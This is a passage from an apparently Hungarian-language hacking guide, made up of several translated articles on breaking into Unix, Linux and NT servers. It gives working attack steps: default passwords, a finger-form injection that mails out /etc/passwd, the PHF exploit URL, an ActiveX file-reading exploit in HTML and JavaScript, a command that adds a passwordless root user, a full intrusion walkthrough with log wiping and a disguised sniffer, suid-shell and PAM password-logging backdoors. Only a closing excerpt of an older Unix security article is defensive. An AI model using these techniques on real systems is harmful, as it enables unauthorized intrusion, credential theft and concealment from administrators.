rendszerekbe egy bug- ot (hibát) kihasználva bármilyen programot elindíthatsz a nyitott porton kesresztül (ha megvan a hibát kihasználó progi)). A másik doksimban már írtam a default login-okról. Érdemes ezekkel is megpróbálkozni; Login: Password: Jog: root root root sys sys/system/bin user bin sys/bin user mountfsys mountfsys root adm adm user uucp uucp user nuucp anon user anon anon user user user user games games user install install root demo demo user umountfsys umountfsys root sync sync root admin admin user guest guest user daemon daemon user Sőt, az eddig szerzett infókkal is próbálkozhatsz jelszóként. Pl.: a user-ekről (akiknek már ismerheted a login-ját) szerzett adatokat próbálgasd ki jelszónak. Innentől kezdve a valódi behatolási technikákat írom le. Az első módszer a finger törés. A böngészőbe (anonymus!) írd be: (www.)hackme.com/cgi-bin/finger Ha a célpontnak van finger-servere, akkor egy doboz jelenik meg, ahová ha beírod az egyik felhasználó e-mail címét + a sajátod + még valamit valahogy így: [email protected] ; /bin/mail te@e-mail. cimed < etc/passwd akkor az emil címedre elküldi a server a jelszófilet ((Linux/Unix/egyéb jó server-eknél, winfo$nál nem müxik)amit csak fel kell törnöd a John the Ripper-el (hogyha nem shadow-os)). Ez a technika csak rosszul beállított server-eknél jön be, ahol nincs letiltva a finger. Ugyancsak rosszul beállított Unix server ellen egy régi módszer a PHF. Írd be: http://www.hackme. com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd (anonymus böngészőbe)! Erre vagy azt írja ki hogy "Kapd be", vagy a jelszó- file-t. Másold a vágólapra a jelszófile-t, onnan pedig egy file-ba, amit feltörsz John the Ripper-el. Próbálkozhatsz trojannal vagy keylogger-el is (_NAGYON_ speciális esetekbe!!!) , de ezt nehéz felrakni + könnyű felismerni + a server firewallja blokkolja a trojan kommunikációját. Ha meg keyloggerrel próbálkozol, nehéz megszerezni az így nyert file-t, ráadásul csak a fő célgépen elhelyezett trojannak/keyloggernek van értelme. Megpróbálhatod a jelszófile-t anonymus FTP-vel lemásolni az /etc-ből (aztán feltörni John the Ripper-el). Próba szerencse :). A következő módszer a klasszikus bruteforce attack. Ez úgy működik, hogy valamelyik porton keresztül egy (jel)szófileból szedett jelszavakkal próbálgat a bejutni a rendszerbe (esetleg

19

Hackers’ Guide

karaktereket próbálgat "pörgetni" mint a filmekben, de az nagyon hosszadalmas. Ez a legdurvább és a legveszélyesebb az összes közül, ugyanis nem igazán fog tetszeni a célpont firewalljának és az üzemeltetőjének hogy a hálón keresztül valaki több 1000 jelszóval próbálgat belépni... :) Éppezért olyan progival csináld, ami nagyon gyakran (és menet közben) váltogatja a proxy-kat. Ráadásul ha nincs szerencséd akkor a rendszergazdi ott ül a server előtt és röhög + megpróbálja a proxy mögé rejtett IP-d lenyomozni. A fentiek ellenére bombabiztos, jó technika ez, csak vigyázni kell vele. A következő módszer a sniff-elés. A másik doksimba már leírtam a működési elvét. Ez is bombabiztos, de ez ráadásként még biztonságos is, mert egy jó Linux-os sniffer-t nem (vagy csak nagyon nehezen) fedeznek fel. Az 1. Elender törést is így hajtották végre. Hátrányai hogy elég időigényes és elég fárasztó bogarászni a logjában. Egy elég bonyolult módszer a spoof -olás. Arra épül, hogy a célpont server egyes IP-címeknek, olyan jogokat ad, amiket másoknak nem. Például egy adott IP-ről jelszó nélkül felenged bármilyen account-ot a server. Ehhez sajna fel kell törni a jogokkal rendelkező IP-jű server-t (vagy megtéveszteni mindkettőt, de az már nagyon bonyolult). Még nem esett szó az úgynevezett exploit programokról. Ezek különböző rendszerhibák (bug-ok) kihasználására készültek. Rengeteg van belőlük. Ha a fenti alapmódszerek csődöt mondanak, érdemes megpróbálkozni egy exploit scannerrel, ha pedig az rést fedez fel, akkor beszerezve a hozzá való exploit progit nagy segítséghez jutunk. Ha már feltörted a server-t és a nyomokat eltávolítottad, mielőtt értesítenéd a rendszergazdit, csinálj egy backdoor-t a server-en, amin kersztül vissza tudsz jönni ha akarsz (ugyanis a jelszókat meg fogják változtatni). Pl.: telepíts trojan-t (bár ezt könnyen megtalálják), de a legjobb ha elrejtesz a gép rendszerfile-jaiba különböző beállításokat. Pl.: a kernel-be beállítod hogy a te IP-dről jelszó nélkül engedjen be a server egy 0-ás UID-al rendelkező account-al (bár a checksum nevű progi az ilyen változtatásokat is észreveszi). Ennyit az egyszerűbb server törésekről, remélem tudtam újat mondani. U.I.: NT-hez van 3 yool kihasználható bug: loginoláskor az auto- matán induló progikat (pl.: explorer.exe, isass.exe, nddeagnt.exe, taskmgr.exe és userinit.exe) a rendszer 1.-nek nem a helyükön keresi (windoze illetve windoze/system32 könyvtár), hanem a loginoló home könyvtárában, utánna pedig a gyökérben. Azt ugye nem kell ecsetelnem hogy ezzel mit lehet kezdeni... ?! A második bug: ha a beállított képernyővédő file-ját lecseréljük egy másik programra, akkor az fog elindulni system jogokkal. Ez a másik program lehet mondjuk az explorer.exe... Van még egy 3. bug is (ez win95 alatt is megy), aminek a segítségével file-ok létezését ellenőrízhetjük illetve beléjük olvashatunk (az ActiveX HTTP átirányításkor XML objektumok biztonsági rése). Ime hozzá egy kis exploit: ------------------------------------------------------------------------- <object id="xm" type= "text/xml" data="http://www.nat.bg/~joro/reject.cgi?autoexec" width=400 height= 200> </object> <SCRIPT> function f()

20

Hackers’ Guide

{ s= xm.body.innerHTML; a= window.open(); //alert (s); a.document.open(); a.document.write("Here is a part of AUTOEXEC.BAT (the error message is normal):<BR>"+s); a.document.close(); } setTimeout("f()",5000); </SCRIPT> ------------------------------------------------------------------------- A dokumentumot csak az engedélyemmel publikálhatjátok máshol! ASCIImo ************************************************************************************************ Linux törés Mindent feltörõ programokat még nem találtak fel ugye, ezért mindenhol használható módszer nincs. Amit tehetünk: megpróbáljuk az adott rendszer (rendszergazda ;-) hibáit megkeresni.

De a keresést sose az otthoni géprõl kezdjük, végezzük inkább más hostról, sikertelenség esetén így nem a mi ip-nk kerül a logba.

Meg kell néznünk pár alapvetõ dolgot a rendszert integritásával kapcsolatban:

• Elõszõr egy végigpingelhetjük a célgép körüli ip-ket, hogy megtudjuk, mi veszik körül, érdemes nézni rajtuk egy-egy OSDetectet (osfingerprintbõl lehet követ keztetni).

• Egy portscann, lehetõleg minnél észrevehetettlenebbül (a SYN scan is hagyhat nyomot!), majd a nyitott portokon futó daemonok verzióját kell

21

Hackers’ Guide

átnyálazni, azaz feltelnetelünk az adott portokra, vagy valami segédprogival végignézzük a leggyakoribb szolgáltatások deafault portjait (pl. wdc-vel).

# nmap celhost.hu -O -sS -d | wdc > port.txr

• Meg kell néznünk mi fut root jogokkal (ps aux | grep root), mi az amire van valamilyen exploit. Érdemes meglesni a SUID/SGID es progikat, ezt legkönyebben a:

$ find / -type f \( -perm -04000 -o -perm -02000 \) >suidsgid.txt

utasítással tehetjük meg. Utána már könnyedén tudjuk a kapott file összevetni valamilyen buglist archivum listájával. (ha azt látjuk a ps aux-nál, hogy bármelyik log az lp[0..3]-ra van irányítva, akkor inkább adjuk fel! Nyomtatott logot nehéz törölni:)

• Ha van webszerver, az milyen joggal fut, milyen CGI-k vannak a rendszeren, pár alapvetõ 'form'-okban lévõ hibát megpróbálnék kijáccani, pl.:

; echo bla::0:0::/tmp:/usr/sh >> /etc/shadow ;

beírása egy formba, persze a megfelelõ helyetesítõ karakterekkel és utasításokkal (shadowot ugysem fogunk tudni átírni cgi-bõl;-).

• Érdermes átnyálazni, milyen deviceokra van jogunk uid-unk és gid-ünk alapján, érdemes belenéni épp ezért a /dev és /proc könyvtárakba. Természetesen ennek ellenõrzésére is vannak jó scriptek.

• Nézhetünk egy két figyelmetlenségbõl adó dó hibát, pl. a :

$ cat /var/log/ | grep passw $ cat /etc | grep passw (stb.)

néhány jelszót adhat extréme esetekben (pl. debian 2.0 /var/log/ppp.log)

• Keressük meg a legkevésbé feltünõ könyvtrat, ahova van írásjogunk. Késõbbiekben állitsuk be úgy exploitkainkat, hogy oda dolgozzanak.

• Jó, ha van egy fileunk a binárisokról, ezt a:

$ ls -l /bin /sbin /usr/bin /usr/sbin /usr/X11R6/bin > progz.txt

parancsal hozhatjuk létre.

• Érdemes sticky bites könyvtárokat keresni, ahova majd pakolhatunk.

22

Hackers’ Guide

$ find / -type d -perm 01777

a /var/lib/gfont/gdf általában jó szokott lenni, de még a /var/tmp v. /var/lock is kevésbé feltûnõ, mint pl. a /tmp

• Feltölthetünk pár sechole / backdoor keresõ scriptet (chkexploit, wec)

• A fel- és letöltésnél ha van lehetõségünk (pl. scripteknél) használjuk a copy/paste -ot, pl. az így készített fileok feltöltése nem hagy sehol nyomot a forrásról.

$ cat > chkexpoit.sh [...] [copy/paste] ^D $ chmod 700 chkexploit.sh ; chkexploit.sh > chkex.log

A fent példával ellentétben ne használjunk feltünõ fileneveket, pl. chkexploit.sh helyett lehetett volna inább core a file nevet használni

A megszerzett információkat letöröljük (vagy inkáb b copy/paste-al leszedjük, esetleg pipe-ból postoljuk)

• A daemonokról, suid/sgid -es programokról minden elérhető információt begyüjtünk (verziószám, hol fordítottátak, stb.), majd a rootként futó (ps aux | grep root) binárisokat letöltjük, és bõszen tanulmányozzuk.

• Letöltjük az /etc és /var/log tartalmát, mármint amelyek letöltéséhez van jogunk. Ezeket is offline nyugisan átnézhetjük.

• Megleshetjük a bin könyvtárak tartalmát Körbenézünk, van-e rá exploit (ha nem látunk a forráskódban valami hibát, ami nem valószín û ;-)

• Belenéznék a jobb security listek archivumába (pl. bugtraq)

• Keresnék a programnév + verzió szerint a neworder.box.sk -ban.

• Átnyálaznék pár exploitokkal foglalkozó oldalt (hrv, rootshell) SUID/SGID-es fileokkal is probálkozhatunk:

• Hackelt libeket probálunk a rendszerbe illeszteni (LD_PRELOAD)

• Az /etc/shadow file bemenetként való megadása

• Saját script becsempészése a SUIDos progik közé

• Van-e SUID-os CGI a rendszeren, és milyen paramétereket fogad el shellbõl.

• Ha van rá exploit, akkor azt haszláni rá természetesen. Egy-2 trójai trükk elhelyezése a rendszeren:

• .forwared és .rhosts file hátrahagyása

23

Hackers’ Guide

• /var/tmp/valami --> /etc/shadowos symlink

• gcc-s exploit Ha megvan a rootshell, akkor hagyjunk pár backdoort

• shadowfileban egy új user bejegyzése, a 2 valamelyik magasaabb hatványával egyezõ UID-dal.

• Sniffer elindítása, hogy az eth0 -on lévõ gép ekre át tudjunk mászni.

• Egy-2 hackel lib hátrahagyása

• Valamelyik nem SUID-os progi "kicserélése"

• letöltjük az /etc/shadow filet

• Elhelyezünk egy suid shellt, valami _nagyon nem feltûnõ_ helyre, pl. : /usr/lib/libvz.so.2 -re, vagy valamilyen doc-os dirbe, core néven.

Utolsó lépések, a nyomok eltakarítása: • legyakjuk shell historyját, és/vagy irunk bele ártatlan dolgokat (pine pine pine

;-)

• Izgulunk, hogy a root nem ült végig a gép elõtt pattagott kukoricával a kezében, jót szórakozva azon, hogy már értesített mindenkit.

• Rendetcsapunk a /var/log -ban, rákeresünk IP-nkre, hostunkra, és eltüntetjük ami nem kell (az auth.log, messages, debug, lastlog, mail.log, xferlog, alert, daemon.log, faillog, kern.log, syslog mind tartalmazhat adatot a betörésrõl)< /li>

• Meglessük a leveleket, suidconf, vagy bármi más nem akart-e leleplezni minket.

• Megnézzük milyen egyébb ellenõrzõ rendszer/script van a gépen, és elvégezzük a megfeleltõ módósításokat.

Röviden ennyi, vagy legalábbis ilyesmi:) [email protected] [PGPKey http://linuxfreak.com/~crowpgp Id:2E0CA8E3] ************************************************************************************************ Egy lehetséges támadásra példa

Az egész iromány lényege,hogy miután megszereztük a ROOT hozzáférést töröljünk minden nyomot magunk után, és megprobáljunk "láthatatlanul" mozogni a

24

Hackers’ Guide

rendszerben!Nem lehet eleget hangsúlyozni:MINDEN RÁNK UTALÓ BEJEGYZÉST TÖRÖLJÜNK!Most álljon itt egy példa(lépésrõl-lépésre)miket lehet és kéne csinálni bár a lehetõségek száma végtelen csak a találékonyságunktól függ: [/home/master] finger @celpont.hu [celpont.hu] No one logged on. Nincs senki a rendszerbe,igy bejelentkezünk! [/home/master] telnet celpont.hu Trying celpont.hu... Connected to celpont.hu. Escape character is '¡]'. Welcome to Celpont Research Linux (http://celpont.hu) Red Hat 2.1 Kernel 1.2.13 on a i586 login:jnsmith Password: Linux 1.2.13 [jnsmith@celpont jnsmith]$ w 5:36am up 18 days, 8:32, 1 user, load avarage: 0.01, 0.00, 0.00, User tty login@ idle JCUP PCPU what jnsmith ttyp1 5:35am w Rendben megvagyunk,most szerezzünk ROOT jogot,aztán jöhetnek a log fileok! [jnsmith@celpont jnsmith]$ cd .term Ez yo kis rejtett könyvtár, pont megfelel nekünk! Most végtelen lehetõségünk van arra, hogy exploitokkal vagy valami trükkel ROOT-ot szerezzünk! Próbáljuk meg az umount.c exploittal majd megpróbálom a forrását is megszerezni, de a neworder.box.sk-ról vagy a www.hack.co.za-ról letölthetõ! Miután leforditottuk, inditsuk el: [jnsmith@celpont jnsmith]$./.umount Ha minden igaz már ROOT jogunk van, most rejtsük el, hogy egyátalán a rendszerben vagyunk! Keresgéljünk a neten 1 kicsit megin valamilyen ROOTKIT-ben megvannak azok a programok melyekre szükségünk lesz!

A z2 program nem mutatja, hogy a rendszerben vagyunk ha kiadjuk a w vagy a who parancsot, tehát: bash# ./z2 jnsmith Zap2! Nézzük meg ezután,sikerült-e láthatatlanná válni? bash#w 5:37am up 18 days, 8:24, 0 user, load avarage: 0.08, 0.02, 0.01, User tty login@ idle JCUP PCPU what Fantasztikus nem vagyunk a rendszerben, most csináljunk egy két hasznos dolgot!

25

Hackers’ Guide

bash# whoami root /tényleg root felhasználók vagyunk/ bash# pwd /meglessük melyik könyvtárban vagyunk/ /home/jnsmith/.term Most pedig töröljük vagy "kozmetikázzuk" a log fileokat! bash# cd /var/log A log fileok más könyvtárban is lehetnek, ezek renszerenként vagy inkább rendszergazdánként változnak (pl.:/var/adm). De a legjobb ha megnézzük a /etc/syslog.conf fileban, hogy mit és hova naplózunk! bash# grep támadohost * maillog:Jan 29 05:31:58 celpont in.telnetd[22072]:connect from tamadohost.hu maillog:Jan 29 05:35:29 celpont in.telnetd[22099]:connect from tamodohost.hu bash# pico maillog A pico programban ctrl+w ---> keresés és a ctrl+k a sor törlése! Szóval ezeket a sorokat töröljük! bash#grep tamodohost * Ha nem talál semmit akkor valószinüleg a nyomokat eltüntettük! bash# w 5:41am up 18 days, 8:27, 0 user, load avarage: 0.00, 0.00, 0.00, User tty login@ idle JCUP PCPU what Most megnézzük maradt-e nyom a ténykedésünkrõl más fileban vagy könyvtárban: bash# cd ~jnsmith/.term bash# lled bash# lled -c tamadohost Entries stored: 527 Entries removed: 0 Most másoljuk át a lastlog.tmp filet a /var/log/lastlog-re és olyan jogokat adjunk neki amilyen az eredeti fileon volt! Ezzel a lastlog kész! bash# wted -e jnsmith Entries stored: 254 Entries removed: 0 A wtmp.tmp filet másoljuk át a /var/log/wtmp-re és a jogokat állitsuk be! Ezzel végeztünk,most sniffeljünk egy kicsit! bash# pico linsniffer.c A forrásban módositsunk egy kicsit: #define TCPLOG "/tmp/.pinetemp.000" <-- Ide foglyuk naplózni a sniffer által elkapott csomagokat! Nézzük meg a futó programokat és, hogy milyen nevet adjunk a snifferünknek, mert nem tanácsos feltünõ nevet adni (pl.:sniff vagy linsniff vagy ilyenek) mert ha ad adminisztrátor észreveszi azonnal lebukhatunk! bash# ps -aux root 143 0.0 0.0 84 0 ? SW Jan 10 0:01 (lpd)

26

Hackers’ Guide

root 154 0.0 0.0 118 0 ? SW Jan 10 0:00 (smbd) root 163 0.0 0.5 76 176 ? S Jan 10 0:00 nmbd -D root 197 0.0 0.0 76 0 v03 SW Jan 10 0:00 (getty) root 198 0.0 0.0 76 0 v04 SW Jan 10 0:00 (getty) root 199 0.0 0.0 76 0 v05 SW Jan 10 0:00 (getty) root 200 0.0 0.0 76 0 v06 SW Jan 10 0:00 (getty) root 201 0.0 0.0 88 0 s00 SW Jan 10 0:00 (uugetty) root 209 0.0 0.2 35 76 ? S Jan 10 0:01 (update) root 210 0.0 0.3 35 124 ? S Jan 10 0:03 update (bdflush) root 10709 0.0 1.4 152 452 ? S Jan 27 0:10 httpd root 11111 0.0 1.4 152 452 ? S Jan 27 0:07 httpd root 14153 0.0 0.8 70 268 ? S Jan 16 0:03 ./inetd root 14307 0.0 4.7 1142 1484 ? S Jan 16 1:16 ./named root 14365 0.0 0.0 76 0 v02 SW Jan 16 0:00 (getty) root 17367 0.0 1.4 152 452 ? S 11:01 0:02 httpd Akkor forditsuk le nmb névre a sniffert! bash# gcc linsniffer.c -o nmb Inditsuk el, természetesen a háttérben! bash# nmb& [1] 22171 Lessük meg a naplófájlt a /tmp-ben: bash# cd /tmp bash# ls -al .pin* total 15691 -rw-rw-r-- 1 root jnsmith 0 Jan 29 05:50 .pinetemp.000 bash# chgrp root .pin* /Nézzük meg most/ bash# ls -al .pin* -rw-rw-r-- 1 root root 0 Jan 29 05:50 .pinetemp.000 Ez rendben is van, most csináljunk magunknak egy suid shellt az esetleges késõbbi visszatéréshez! bash# cd /bin bash# ls -al bash -rwxr-xr-x 1 root root 299296 Nov 2 1995 bash Létrehozunk egy új parancsot :) bash# cp bash findhost bash# ls -l findhost -rwxr-xr-x 1 root jnsmith 299296 Jan 29 05:59 findhost Megváltoztatjuk a csoport tulajdonost, majd a file dátumát és SUID-ra állitjuk! bash#chgrp root findhost -rwxr-xr-x 1 root root 299296 Jan 29 05:59 findhost bash# chmod +s findhost bash# ls -al findhost -rwsr-sr-x 1 root root 299296 Jan 29 05:59 findhost

27

Hackers’ Guide

bash# touch -t 111312331995 findhost bash# ls -al findhost -rwsr-sr-x 1 root root 299296 Nov 13 1995 findhost A következõ lépés mivel bash a shell igy a legyakjuk a shell historyát egy symlinkkel: bash# cd /igy belépünk a home könyvtárunkba/ bash# ln -s /dev/null .bash_history Ezzel készen vagyunk,akár ki is léphetünk a rendszerbõl!

Aki akar az tud tanulni belõle bár egyes technikák már elavultak benne! Aki nem akar a logokkal bajlódni csak egyeszerûen törölje õket majd állitsa le a syslog daemont! Sok sikert bár a legjobb dolog ha van egy barátunk akit szintén érdekel ez a hacker téma és egymás gépén gyakoroltok a kezdeti idõben igy biztos nem tudtok lebukni, igy lehet a legjobban tanulni, aki ezt teheti mindenképpen igy csinálja!

Forditotta: Depth Eredeti mü : The Hackers Handbook ************************************************************************************************ Backdoorokról gyakorlatban

Ebben a cikkben unixos gépekrõl lesz szó, mégpedig egy igen gyakori és sokrétû problémáról, azaz hogyan hagyjunk olyan hátsó kaput a feltört számítógépen, hogy azon keresztül bármikor észrevétlenül bejuthassunk a gépre. Persze az sem egy utolsó szempont, ha a szerveren a belépés után nem kell órákig törölgetni a logokat. :)

1. Új felhasználó A legrégebbi módszer új felhasználó felvétele a rendszerbe. Elõnye, hogy bármilyen rendszeren rendelkezésre kell, hogy álljon egy ilyen lehetõség, hátránya viszont, hogy a rendszergazda bármikor könnyen észreveheti, ezután pedig ritka az olyan eset, hogy nem nézi át a gépet biztonságilag ;) Jó, tehát új felhasználót a useradd paranccsal hozhatunk létre... Ez viszont eleve loggolási lehetõséget sejtet, tehát nem ez a legszerencsésebb megoldás :) A következõ paranccsal viszont:

echo "lajos::0:0:Lajos:/:/bin/sh" >>/etc/passwd

létrehoztuk a lajos nevû, jelszó nélküli felhasználót, aki root jogokkal rendelkezik. Itt fellép egy újabb probléma, root jogú felhasználó ugyanis ritka, hogy telneten, ssh-n keresztül be tudjon jelentkezni. Az elõbbi lajos-t így csak su-val tudunk root-tá válni. Ezért célszerû egy nem-root jogú felhasználót is létrehozni, vagy egyszerûen feltörni valakinek a jelszavát, és azt használni exploitok helyett.

2. Exploit Nincsen hiba nélküli rendszer. Ha már hozzáféréssel rendelkezünk egy számítógépre, csak idõ és türelem kérdése, hogy egy megfelelõ exploitot találjunk

28

Hackers’ Guide

hozzá. Ha az exploit megbízható, nem marad utána sok log, akkor érdemes elgondolkozni azon, hogy új felhasználó, vagy egyéb backdoor helyett mindig ezt az exploitot használjuk. Ugye azt mondanom se kell, hogy a fájlokat persze nem árt eldugni... Valami gyakori nevet kell keresni a (leforditott) exploitnak, és berakni valamelyik sok fájlt tartalmazó könyvtárba. A módszer hátránya, hogy a jobb rendszerek tartalmazhatnak olyan scripteket, amik -esetleg a cron miatt naponta többször is- leellenõrzik a rendszert, hogy található-e új fájl, és ha igen, egy mail-lel értesítik a root-ot. Éppen ezért ha lehetséges, rakjuk fel az exploitot egy publikus szerverre, pl. freeweb.hu :) és onnan töltessük le wget-tel a programot.

3. Bindshell További lehetõségként elõttünk áll egy bindshell felrakása is. A bindshell egy olyan program, ami egy megadott porton várja a csatlakozást, és ott root, vagy egy adott felhasználó jogaival végrehajtja a kiadott parancsokat, a kimenetet pedig visszaküldi a csatlakozott hákkernek. Ilyen bindshellt szinte minden programnyelvre találunk, érdemes elindulni a packetstorm keresõjén keresztül. Elõnye a dolognak, hogy a csatlakozás loggolása teljesen ki van kapcsolva, hátránya viszont, hogy egy netstat -ta -val a rendszergazda észreveheti, hogy pl. a 666-os porton egy szerver alkalmazás csücsül :) (A futó programok lekérdezésével nehezebb észlelni a dolgot, hiszen szinte minden jobb bindshell tartalmaz olyan részt, ami megváltoztatja a kernel számára a saját elérési útvonalát és a programnevét, pl. valami olyanra, hogy syslogd ;)

4. login A régebbi unix rendszerek a login nevû programot használtuk önmagában a számítógépbe való belépéshez. Ez azóta részben megváltozott, ugyanis a login -ról elég nagy részt a PAM vállal át, errõl bõvebben a következõ pontban lesz szó. Tehát a login program az, amelyik a felhasználónév és jelszó bekérését végzi, akkor mi akadályozhat meg minket abban, hogy módosítsuk a forrását? Ilyenkor jön be a képbe az opensource programok szerepe :) apt-get -tel pillanatok alatt levarázsolhatjuk a shadow csomag forrását, vagy ha nem Debian rendszerrel rendelkezünk, akkor a freshmeat.net -en egy egyszerû keresés után elénk tárul az url. Ja igen, a unixos programok 99%-a C-ben íródott. Tehát ha nem rendelkezünk egy legalább minimális szintû C ismerettel, akkor fölösleges is nekiállnunk az itt ismertetett módszernek... Jó, megvan a forrás, nézegessük a login.c -t, és rájövünk bizony, hogy a felhasználónév és jelszó ellenõrzését egy pw_auth.c nevû fájlban találhatjuk. Na ide elõnyként felhozható a jelszavak loggolása, szinte észrevétlen backdoor felhasználó létrehozása, és a loggolás minimalizálásának lehetõsége. Hátrány, hogy bizony meg kell vele szenvedni rendesen, és azért érteni is kell hozzá. Nem is ajánlom, hogy a célponton kisérletezz, mert ha elqrsz valamit, könnyen elõfordulhat, hogy utána a rendszergazda még a konzolon se fog tudni bejelentkezni, ami meglehetõsen gyanús lehet még egy naív root elõtt is. :) Jut eszembe, .bash_history létrehozását senki nem felejti el kikapcsolni? Pl. a fájl, átlinkelhetõ /dev/null -ra: ln -s /dev/null .bash_history

5. PAM Mint már az elõbbi pontban említettem, a login -tól az újabb rendszereken jelentõs feladatot vállal át a PAM. Mi is ez valójában? Pluggable Authentication Module, vagyis egy központi felület, ami minden programozó rendelkezésére áll, hogy a programjában a felhasználóazonosítás biztonságosabban zajjon :) és úgy, hogy az azonosításnak _egyetlen pontja se_ az õ programjába legyen implementálva. Ez azt

29

Hackers’ Guide

jelenti, hogy tegyük fel, írsz egy vadiúj programot, ami csinál valamit, és természetesen felhasználói jogokhoz van kötve, stb. Neked a programban még a felhasználónevet sem kell bekérni, mindent a PAM fog elvégezni helyetted. Szuper, és hogy jön ez ide? :) Ha megnézzük egy bejelentkezés után a syslogot, akkor valami hasonlót kell hogy lássunk: pam_unix AUTHENTICATION user blabla. A pam_unix itt a felhasználóazonosításért felelõs PAM modult jelenti. A módosítandó "program" tehát ez. A PAM forrását a www.kernel.org -ról tölthetjük le. Nagyon fontos a pontos verziószám, különben a modul nem fog mûködni, sõt nagyon könnyen mindenkit kizárhatsz a rendszerbõl, hiszen senki nem tud bejelentkezni egy elqrt azonosító rendszeren :) A pontos verziót a /lib könyvtárban található lib-pam-* pontos verziószáma alapján lehet megállapítani. Itt most egy olyan példát találhattok a módosított pam_unix -ra, amely nem backdoor-ként funkcionál, pusztán loggolja a bejelentkezéseket egy adott fájlba, természetesen a jelszót kódolatlanul. Ezzel gyakorlatilag a felhasználók úgymond kiadják a saját jelszavaikat. Ez óriási elõnyt jelent a jelszavak törésére nézve, ugyanis én vonakodva állnék neki egy 8 karakteres MD5-tel titkosított jelszó feltörésének is. Az összes módosítás kommentekkel ki van emelve, és a fájlban található még némi kis instrukció a fordítással kapcsolatban is.

6. libcrack A titkosítást egy közös felületen érhetjük el, ezt végzi a glibc nevû csomagban levõ libcrack. A crypt függvény kapja meg a kódolatlan jelszavakat, és visszatérési értékként a kódolt jelszó várja a programozót. Ha ezek után sem kapcsoltál, hogy ezt mire lehetne felhasználni, akkor azt hiszem fölösleges is lenne nekiállnod módosítani a forrását, hogy loggolja a jelszavakat... Zárszóként annyit mondanék, hogy nem az a nagy hákker, aki minden héten 15 honlapot difészel. Szerintem sokkal nagyobb kihívást jelent egy gépet megtartani a rendszergazda tudta nélkül... Módosított PAM forrás letöltése

2001.05.21 /RSC ************************************************************************************************ Unix Rendszerek Biztonsági Lyukai Fordította: TheElf Eredeti cím/szerzõ: "Unix System Security Issues" from Phrack Inc. Volume Two, Issue 18, Phile #7 of 11 /typed by: Whisky (from Holland, Europe)/ From Information Age, Vol. 11, Number 2, April 1988 Written By: Michael J. Knox and Edward D. Bowden

ELÕSZÓ

30

Hackers’ Guide

"Úgy érzem jó ötlet ezt a fájlt közzétenni a UNIX-hacker társadalomban megmutatva, hogy a hackerek nem mindig tesznek kárt, néha keresik a módszereket, hogyan tehetnék biztonságosabbá a meglévõ rendszereket." -- Jester Sluggo

A FÁJL ÉS A KÖNYVTÁR BIZTONSÁGI JELLEMZÕI

Az UNIX operációs rendszerben a fájlok és a könyvtárak fa struktúrába vannak rendezve, különleges hozzáférési módot használva. A különbözõ módok beállítása a hozzáférési bitek (oktális azaz 8-as számrendszerbe szervezve) segítségével történik. Ez alkotja az UNIX operációs rendszer biztonságának alapját. A hozzáférési bitek határozzák meg, hogy tudják a felhasználók a fájlokat felhasználni, elérni. A három féle felhasználói mód az összes UNIX op. rendszerben a következõ: tulajdonos, csoport, mindenki(mindenki más). Fájl hozzáférés lehetséges olvasásra, írásra és futtatásra, melyek minden felhasználótípusra külön-külön beállíthatók a hozzáférési bitekkel. A fájl-biztonság rugalmassága megfelelõ, de bírálták már mint rendszer-biztonsági kompromisszum.

A hozzáférési módok

TULAJDONOS CSOPORT MINDENKI

rwx rwx rwx

421 421 421

r : olvasás (Read) w : írás (Write) x : futtatás (eXecute) -rw--w-r-x 1 bob csc532 70 Apr 23 20:10 file drwx------ 2 sam A1 2 May 01 12:01 directory

1. ÁBRA : Fájl és könyvtár elérési módok

A fájlnál bob a tulajdonos, írási és olvasási joggal, a csoport rendelkezi írási joggal, a többiek pedig olvasási és futtatási joggokkal. A könyvtár egy "bizonsági" könyvtár, melyet a csoport, s a tobbiek nem olvashatnak, írhatnak vagy futtathatnak. Mivel az UNIX op.r.-ben a védelmi mechanizmus igen fontos, fõ szempontnak tekinthetõ a hozzáférési jogok megfelelõ beállítása a legnagyobb biztonságért. Eltekintve a felhasználói tudatlanágtól, a leggyakoribb a fájlok létrehozásakor az alapértelmezett hozzáférési jogosultságának beállítása. Néhány rendszerben ez oktálisan 644 (4+2:4:4), azaz a tulajdonos írhatja, olvashatja, a csoport és a többiek csak olvashatják az adott fájlt. Ez a beállítás a legtöbb "nyitott" rendszerben elfogadható. Ellenben, ahol "fontos" adat található, ott érdemes a többiek olvasási jogát is kikapcsolni. A fájltípus beállító (unmask) kielégíti ezt a követelményt. A javasolt beállítás : umask 027; engedélyezi a hozzáférést a tulajdonosnak, megtiltja az írást a csoportnak, és nem engedélyez semmit a többieknek (umask 027 = oktális 777- 750; azaz -rwxr-x---). A megfelelõ umask parancs a felhasználói .profile vagy .login fájlba behelyezve felülírja az alapértelmezett beállítást és az új beállításnak megfelelõen kerülnek a fájlok létrehozásra. A chmod parancs használható a fájlok és könyvtárak hozzáférésének megváltoztatására. A következõ parancs használata: chmod u+rwd,g+rw,g-w,u-rwx file

31

Hackers’ Guide

ugyanazt a hatást fejti ki mint a fent bemutatott umask (oktális 750). A hozzáférési jogokat meg lehet szüntetni a chmod paranccsal késõbb is, de legalább kezdetben be kell állítani, a fájl struktúrát pedig biztonságossá tehetõ egy megszorító umask paranccsal. Megbízható alkalmazásokkal mint az umask és a chmod a felhasználók javíthatják a fájlfendszer biztonságosságát. Az UNIX rendszer behatárolja a biztonságot, így a felhasználó csak a tulajdonos, csoport, mások kategóriák valamelyikébe eshet. Ezért a tulajdonos nem adhat külön hozzáférési jogokat meghatározott felhasználóknak. Ahogy Kowack és Healy rámutatott: "A fájl-biztonság szemcsésítése (nagyobb egységek kezelése) nem megfelelõ a gyakorlatban(…, mivel) nem lehetséges, hogy egy felhasználónak olvasási, míg egy másiknak írási jogokat adjunk ugyanarra a könyvttárra. A megfelelõ fájl-biztonsági kiegészítés a UNIX-hoz egy MULTICS stílusú hozzáférési lista. A hozzáférési mód gyengeségeinek észben tartásával mindig ügyelnie kell a hozzá tartozó fájlokra és könyvtárakra, és korrigálnia kell a hozzáférési jogokat, ha lehetséges. Bár a szemcsésség behatárolja a tervezés lehetõségeit, követve a bizonságos megközelítést lehetõségünk van sokkal biztonságosabb UNIX rendszer (-fájl-) struktúrára."

SUID és SGID (felhasználó és csoportazonosítók beállítása)

A felhasználó és csoportazonosítók beállítása (Set User ID: SUID, Set Group ID: SGID) azonosítja a felhasználót és a csoportot a fájl számára. A SUID vagy az SGID hozzáférés futtatható fájlra beállításával más felhasználók is elérhetik ugyanazokat az erõforrásokat (a futtatható fájllal), amelyeket az "eredeti" tulajdonos.

Például:

